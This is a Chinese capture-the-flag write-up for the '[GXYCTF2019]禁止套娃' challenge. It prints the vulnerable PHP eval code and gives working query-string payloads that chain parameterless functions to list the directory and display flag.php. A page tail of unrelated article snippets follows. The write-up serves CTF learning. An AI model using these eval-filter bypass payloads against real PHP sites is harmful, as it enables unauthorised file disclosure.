当前位置: 首页 > news >正文

[GXYCTF2019]禁止套娃1

打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>
使用了正则表达式来过滤

[a-z,_]+匹配一个或多个字母、下划线或逗号

(匹配开括号

(?R)?匹配嵌套的正则表达式本身,?表示0或1次

)匹配闭括号

括号内无参数

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

var_dump(localeconv());
结果如下
array(18) 

["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}
咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
结果如下:string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
 

相关文章:

[GXYCTF2019]禁止套娃1

打开题目 进行常规的检测漏洞&#xff0c;扫描目录发现存在.git文件夹下的文件存在 <?php include "flag.php"; echo "flag在哪里呢&#xff1f;<br>"; if(isset($_GET[exp])) { if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\…...

人工智能时代,数字化工厂如何改革?提升竞争力?

在人工智能时代&#xff0c;数字化工厂通过数据驱动的决策、智能制造、柔性生产、物联网整合以及人机协作&#xff0c;实现生产效率和产品质量的全面提升&#xff0c;并不断创新以保持竞争力。 --题记 在人工智能时代&#xff0c;数字化工厂的改革…...

气膜建筑的抗风与防火性能:保障仓储的安全—轻空间

气膜建筑以其独特的结构和材料优势&#xff0c;为仓储设施提供了可靠的安全保障。在应对自然灾害特别是强风和火灾时&#xff0c;气膜建筑展示了优异的抗风和防火性能。轻空间将详细探讨这些性能及其在实际应用中的表现。 气膜建筑的抗风能力源于其特殊的结构设计和高性能材料。…...

【秋招笔试】2024-08-07-YT游戏(研发岗)-三语言题解(CPP/Python/Java)

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 本次的题目比较典,…...

【Python知识】m.inplace = inplace 《==》是否执行原地操作

# 如果激活层模块有 inplace 属性&#xff0c;则设置该属性 if hasattr(m, inplace): m.inplace inplace inplace 属性是什么&#xff1f; 在 PyTorch 中&#xff0c;inplace 属性是一个布尔值&#xff0c;用于指示某个操作是否可以以原地&#xff08;in-place&#xff09;模式…...

Go语言fmt包中print相关方法

Go语言的fmt包提供了多种打印相关的函数&#xff0c;主要用于在控制台或其他输出目标上格式化并输出数据。下面是一些常用的print相关方法的用途和区别&#xff1a; 1.fmt.Print() 功能: fmt.Print() 将参数的内容按默认格式输出到标准输出&#xff08;通常是控制台&#xff…...

图片转为pdf怎么弄?亲测有效的8个pdf转换方法安利

图片转PDF怎么弄&#xff1f;在日常的办公生活中&#xff0c;我们经常会需要处理一些文档格式转换难题&#xff0c;图片转成PDF格式就是其中一个&#xff0c;图片转换成PDF格式的话&#xff0c;方便我们传输分享&#xff0c;毕竟现在PDF格式凭借着自身的稳定性和可移植性已经成…...

贪吃蛇(使用QT)

贪吃蛇小游戏 一.项目介绍**[贪吃蛇项目地址](https://gitee.com/strandingzy/QT/tree/zyy/snake)**界面一&#xff1a;游戏大厅界面二&#xff1a;关卡选择界面界面三&#xff1a;游戏界面 二.项目实现2.1 游戏大厅2.2关卡选择界面2.3 游戏房间2.3.1 封装贪吃蛇数据结构2.3.2 …...

【案例40】Apache中mod_proxy模块的使用

NC中间件 应用场景&#xff1a;配置了apache的情况&#xff0c;包括uap集群&#xff0c;配置https等场景下均适用&#xff1b;如果是单机&#xff08;NC单结点情况不存在问题&#xff0c;则不用配置这项; was环境也不用配置此项。&#xff09; 解决方案&#xff1a;按如下两…...

简单安装Android Studio并使用

在Windows上安装Android Studio的步骤如下&#xff1a; ### 1. 检查系统要求 确保你的计算机符合Android Studio的系统要求&#xff0c;通常包括&#xff1a; - Windows 8/10/11 - 64位处理器 - 最少4 GB RAM&#xff08;推荐8 GB&#xff09; - 最少2 GB可用硬盘空间&#xff…...

在Python中,模块(Module)和包(Package)

在Python中&#xff0c;模块&#xff08;Module&#xff09;和包&#xff08;Package&#xff09;是组织代码、提高代码复用性、促进代码维护的两种重要机制。它们各自扮演着不同的角色&#xff0c;但又紧密相连&#xff0c;共同构成了Python程序架构的基础。以下将详细阐述Pyt…...

Node版本管理工具

一、nvm 安装 二、常用命令 nvm v //查看nvm 版本号nvm install latest // 下载最新的 node 版本 nvm install 版本号 //安装node对应的版本nvm uninstall 版本号 //卸载对应的版本nvm list // 查看下载的所有版本的nodenvm use 版本号 // 只有引入了才能使用…...

创建并发布NPM模块

创建模块项目 $ mkdir my-npm-package $ cd my-npm-package $ npm init添加模块代码 创建新文件 index.js&#xff0c;内容如下 function helloworld() {console.log(Hello World!); }module.exports helloworld;测试模块 在模块目录&#xff08;my-npm-package&#xff0…...

20240807软考架构-------软考31-35答案解析

每日打卡题31-35答案 31、【2015年真题】 难度&#xff1a;一般 对于遗留系统的评价框架如下图所示&#xff0c;那么处于“高水平、低价值”区的遗留系统适合于采用的演化策略为 &#xff08; )。 A&#xff0e;淘汰B&#xff0e;继承C&#xff0e;改造D&#xff0e;集成 答案…...

简单实现二叉树(链表实现)

接着上一节。我们接着学习二叉树&#xff0c;学习使用链表建立二叉树时&#xff0c;最好把每个子程序的递归展开图&#xff0c;都画一下 前言 在学习二叉树的基本结构前&#xff0c;需先要创建一颗二叉树&#xff0c;然后才能学习其相关的基本操作&#xff0c;由于现在大家二…...

搭建 Web 群集Haproxy

案例概述 Haproxy 是目前比较流行的一种群集调度工具&#xff0c;同类群集调度工具有很多&#xff0c;如 LVS 和Nginx。相比较而言&#xff0c;LVS 性能最好&#xff0c;但是搭建相对复杂;Nginx 的upstream模块支持群集功能&#xff0c;但是对群集节点健康检查功能不强&#xf…...

PDF隐写思路

文章目录 使用工具技术细节小结 使用工具 工具&#xff1a;WPS、010Editor、WbStego 技术细节 步骤&#xff1a; 使用 WPS 查看文件&#xff0c;看是否能打开。 若不能打开则使用 010Editor 查看是否少了头文件等。 正常的 PDF 缺少头文件的 PDF 如果缺少头文件则使用 010…...

Pycharm 常用快捷键

快捷键作用描述Ctrl Space基本的代码自动完成Ctrl Shift Space选择代码自动完成Ctrl D复制当前行或符号Ctrl X剪切当前行或符号Ctrl C复制当前行或符号Ctrl V粘贴剪贴板内容Ctrl Y删除当前行Ctrl A全选当前文件内容Ctrl Z撤销操作Ctrl Shift Z重做操作Ctrl F查找文…...

android音频录音,(一)MediaRecorder简介

1.MediaRecorder概述 Android 多媒体框架支持捕获和编码各种常见的音频和视频格式&#xff0c;简要介绍音频录音。 2.MediaRecorder 源码路径&#xff1a;frameworks/base/media/java/android/media/MediaRecorder.java 源码接口&#xff1a; setAudioSource(MediaRecorde…...

autoX.js

一. 概述 AutoX.js 使用 JavaScript 作为脚本语言&#xff0c;目前使用 Rhino 1.7.13 作为脚本引擎&#xff0c;支持 ES5 与部分 ES6 特性。 下载地址&#xff1a; https://github.com/kkevsekk1/AutoX/releases 官方文档&#xff1a; AutoX.js 二. 用法 1. 首先在官网下…...

若依微服务版实战:5分钟搞定积木报表1.5.6集成与权限控制

若依微服务版深度整合积木报表1.5.6全流程指南 1. 环境准备与架构设计 在微服务架构中引入报表模块需要特别注意服务边界和资源隔离。积木报表1.5.6作为一款企业级Web报表工具&#xff0c;其与若依微服务版的整合涉及以下几个核心层面&#xff1a; 服务独立性&#xff1a;建议将…...

从‘电’到‘光’的魔法:拆解一个工业光纤转换模块,聊聊TTL电平隔离与长线传输的那些坑

从‘电’到‘光’的魔法&#xff1a;拆解一个工业光纤转换模块&#xff0c;聊聊TTL电平隔离与长线传输的那些坑 当你面对一台因电磁干扰频繁宕机的工业设备&#xff0c;或是需要跨越百米距离稳定传输控制信号时&#xff0c;光纤转换模块往往成为工程师的秘密武器。这次我们拿起…...

别再用手机思维做TV App了!Android TV开发必知的模拟器操作与UI焦点设计实战

别再用手机思维做TV App了&#xff01;Android TV开发必知的模拟器操作与UI焦点设计实战 第一次在65英寸大屏上看到自己开发的TV应用时&#xff0c;那种震撼感至今难忘——直到用户用遥控器操作了五分钟还没找到核心功能按钮。这个尴尬经历让我深刻意识到&#xff1a;TV开发不是…...

Roots and the Stars[1]

Roots and the Stars,a english novel. 本故事纯属虚构声明 本故事纯属虚构&#xff0c;如有雷同&#xff0c;纯属巧合。 故事中涉及的所有公司、组织、机构名称&#xff0c;所有人名、地名、事件、产品、技术概念、商业行为、故事情节等均为虚构创作&#xff0c;不指向任何现实…...

Legacy-iOS-Kit全流程指南:让iPad mini 2重获新生的系统降级实践

Legacy-iOS-Kit全流程指南&#xff1a;让iPad mini 2重获新生的系统降级实践 【免费下载链接】Legacy-iOS-Kit An all-in-one tool to restore/downgrade, save SHSH blobs, jailbreak legacy iOS devices, and more 项目地址: https://gitcode.com/gh_mirrors/le/Legacy-iOS…...

快马AI五分钟搭建Node.js服务器原型,验证你的后端想法

最近在验证一个后端服务的想法时&#xff0c;发现从零开始搭建服务器环境特别耗时。经过一番探索&#xff0c;发现用InsCode(快马)平台可以快速生成可运行的Node.js服务器原型&#xff0c;整个过程比想象中简单很多。这里记录下具体实现思路和操作过程&#xff0c;给有类似需求…...

革新Windows Android应用体验:无缝集成与效率提升的完美方案

革新Windows Android应用体验&#xff1a;无缝集成与效率提升的完美方案 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 在数字化工作与生活深度融合的今天&#xff0c…...

Windows系统优化与驱动管理完全指南:释放磁盘空间并解决驱动冲突

Windows系统优化与驱动管理完全指南&#xff1a;释放磁盘空间并解决驱动冲突 【免费下载链接】DriverStoreExplorer Driver Store Explorer 项目地址: https://gitcode.com/gh_mirrors/dr/DriverStoreExplorer 你是否遇到过系统磁盘空间莫名减少&#xff1f;设备管理器中…...

利用快马平台快速构建winner1300高性能计算原型:三步实现并行矩阵乘法

今天想和大家分享一个利用高性能计算框架winner1300快速构建并行矩阵乘法原型的实践过程。这个案例特别适合需要验证算法性能的场景&#xff0c;而借助InsCode(快马)平台的便利性&#xff0c;整个过程变得异常高效。 winner1300框架简介与环境搭建 winner1300是一个专为高性能…...

实战演练:基于快马平台快速开发数据库连接池监控与告警脚本

实战演练&#xff1a;基于快马平台快速开发数据库连接池监控与告警脚本 最近线上应用频繁出现响应缓慢的问题&#xff0c;经过初步排查&#xff0c;怀疑是数据库连接数过多导致的。作为运维工程师&#xff0c;我们需要快速开发一个监控脚本&#xff0c;实时掌握数据库连接状态…...